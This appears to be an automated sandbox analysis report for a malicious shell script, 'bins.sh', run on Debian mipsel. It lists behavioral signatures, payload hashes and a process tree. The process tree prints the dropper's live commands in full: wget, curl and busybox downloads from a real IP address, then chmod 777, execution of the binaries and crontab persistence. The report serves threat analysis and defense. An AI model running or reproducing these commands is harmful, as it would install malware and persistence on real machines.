Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    12/11/2024, 00:17

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241112-ak2ghstkfj
  • SHA256 a0bc5dc0b863bdc4f8d16130fdc188d0d6efaa6ddc8a2946c00955a921e109b3
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (1633) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:708
        • /usr/bin/wget
          wget http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
          • Writes file to tmp directory
          PID:710
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
          • Writes file to tmp directory
          PID:734
        • /bin/chmod
          chmod 777 5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          ./5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm 5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
            2⤵
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
            2⤵
            • Writes file to tmp directory
            PID:741
          • /bin/chmod
            chmod 777 LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
            ./LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
            2⤵
            • Executes dropped EXE
            PID:743
          • /bin/rm
            rm LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
            2⤵
              PID:745
            • /usr/bin/wget
              wget http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
              2⤵
              • Writes file to tmp directory
              PID:746
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
              2⤵
              • Writes file to tmp directory
              PID:747
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
              2⤵
              • Writes file to tmp directory
              PID:759
            • /bin/chmod
              chmod 777 uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
              2⤵
              • File and Directory Permissions Modification
              PID:765
            • /tmp/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
              ./uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
              2⤵
              • Executes dropped EXE
              PID:766
            • /bin/rm
              rm uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
              2⤵
                PID:770
              • /usr/bin/wget
                wget http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                2⤵
                • Writes file to tmp directory
                PID:771
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                2⤵
                • Writes file to tmp directory
                PID:782
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                2⤵
                • Writes file to tmp directory
                PID:795
              • /bin/chmod
                chmod 777 lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                2⤵
                • File and Directory Permissions Modification
                PID:800
              • /tmp/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                ./lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                2⤵
                • Executes dropped EXE
                PID:801
              • /bin/rm
                rm lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                2⤵
                  PID:804
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                  2⤵
                  • Writes file to tmp directory
                  PID:805
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                  2⤵
                  • Writes file to tmp directory
                  PID:806
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                  2⤵
                  • Writes file to tmp directory
                  PID:807
                • /bin/chmod
                  chmod 777 jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                  2⤵
                  • File and Directory Permissions Modification
                  PID:808
                • /tmp/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                  ./jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                  2⤵
                  • Executes dropped EXE
                  PID:809
                • /bin/rm
                  rm jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                  2⤵
                    PID:811
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                    2⤵
                    • Writes file to tmp directory
                    PID:812
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                    2⤵
                    • Writes file to tmp directory
                    PID:816
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                    2⤵
                    • Writes file to tmp directory
                    PID:825
                  • /bin/chmod
                    chmod 777 I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                    2⤵
                    • File and Directory Permissions Modification
                    PID:829
                  • /tmp/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                    ./I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:831
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:833
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:834
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:837
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:838
                        • /bin/rm
                          rm I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                          2⤵
                            PID:843
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
                            2⤵
                              PID:847

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
                                • Path /tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
                                • Size 177KB
                                • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                                • Path /tmp/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                                • Size 151KB
                                • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
                                • Path /tmp/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
                                • Size 119KB
                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                                • Path /tmp/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                                • Size 112KB
                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                                • Path /tmp/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                                • Size 111KB
                                • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
                                • Path /tmp/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
                                • Size 127KB
                                • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                tmp.is25E0
                                • Path /var/spool/cron/crontabs/tmp.is25E0
                                • Size 210B
                                • SHA256 744474b17714bed77247fee0ad3a4359188f308818a0cc6eb6a646c2ca020daa
                                • MD5 SHA1 SHA512
                                Submit Download